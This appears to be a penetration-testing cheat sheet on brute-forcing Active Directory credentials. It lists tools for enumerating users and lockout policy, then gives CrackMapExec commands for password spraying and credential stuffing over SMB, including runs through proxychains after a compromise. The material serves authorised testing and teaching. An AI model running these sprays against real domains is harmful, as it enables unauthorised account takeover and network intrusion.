Password & Credential Brute Force

User Emumeration

You have enumerated users with one of the methods defined here:

• CrackMapExec
• PowerView
• ldapdomaindump
• ldapsearch
• enum4linux
• GetADUsers.py
• Manual Enumeration

Domain Policy Enumeration

You have verified the account lockout policy and the password complexity requirements with one of the methods defined here:

• CrackMapExec
• PowerView
• ldapdomaindump
• enum4linux

CrackMapExec Example

Password Spraying

# No proxy host
crackmapexec smb CIDR/target-ip -d domain.tld -u username -p /path/to/wordlist.txt

# Post-compromise via proxy host
proxychains -q crackmapexec smb CIDR/target-ip -d domain.tld -u username -p /path/to/wordlist.txt

Credential Stuffing

# No proxy host
crackmapexec smb CIDR/target-ip -d domain.tld -u /path/to/userlist.txt -p /path/to/wordlist.txt

# Post-compromise via proxy host
proxychains -q crackmapexec smb CIDR/target-ip -d domain.tld -u /path/to/userlist.txt -p /path/to/wordlist.txt